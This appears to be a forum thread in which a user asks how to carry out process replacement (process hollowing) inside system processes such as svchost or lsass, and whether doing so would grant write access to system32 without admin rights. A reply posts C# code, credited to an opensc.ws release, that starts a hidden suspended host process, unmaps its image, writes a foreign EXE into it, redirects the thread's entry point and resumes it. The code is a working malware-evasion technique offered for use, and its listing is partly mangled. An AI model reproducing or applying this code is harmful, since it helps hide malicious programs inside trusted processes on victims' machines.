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Process replacement question


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Hi. Im about to try proof of concept process replacement technique. I got some questions tho.

First of all, when i create process as suspended where it is actually halted? The sections are mapped right, but are improts resolved? (so what comes with it, do i have all the useless import dlls from old process loaded or not) ?

Next question is pretty similar. If i create a process from system32, like svchost or lsass and then i replace it with anything from other folder will the improts be properly resolved? Because from what i see, if the replacement exe has some custom dll near it, then loader will look for it inside system32 instead of the replacement process directory, beacuse system32 is the original path. How to avoid that and make it look in the right directory?


And after replacement do i need only to map sections without resolving imports/relocation and loader will do everything for me? And what with EIP? Where should it point after pasting fake code? And will i have system32 as current directory so i can open/write anything there even withotu admin privileges?


THanks in advance


Edited by Pancake
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I don't know what you are trying to do exactly and which language you know but here is something I used in the past.


It uses C#.


Creates a suspended process then patches the process memory for the new process.

using System;
using System.Runtime.InteropServices; /*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
* Developed by: affixiate
* Release date: December 10, 2010
* Released on: http://opensc.ws
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/ // ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
public struct STARTUPINFO
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
} /// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
StartupInfo.wShowWindow = SW_HIDE; var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p; byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p; byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p; byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p; // Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL; // Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); /* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false; var e_lfanew = *(int*)(pidh + 0x3c); // Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); /* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false; // Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments; if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref StartupInfo, PROCESS_INFO))
return false; var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations) fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero); for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
} NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
return true;
} #region WinNT Definitions private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00 private static short SW_SHOW = 5;
private static short SW_HIDE = 0;
private const uint STARTF_USESTDHANDLES = 0x00000100;
private const uint STARTF_USESHOWWINDOW = 0x00000001;
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, int[] lpProcessInfo); [DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); [DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten); [DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion #endregion
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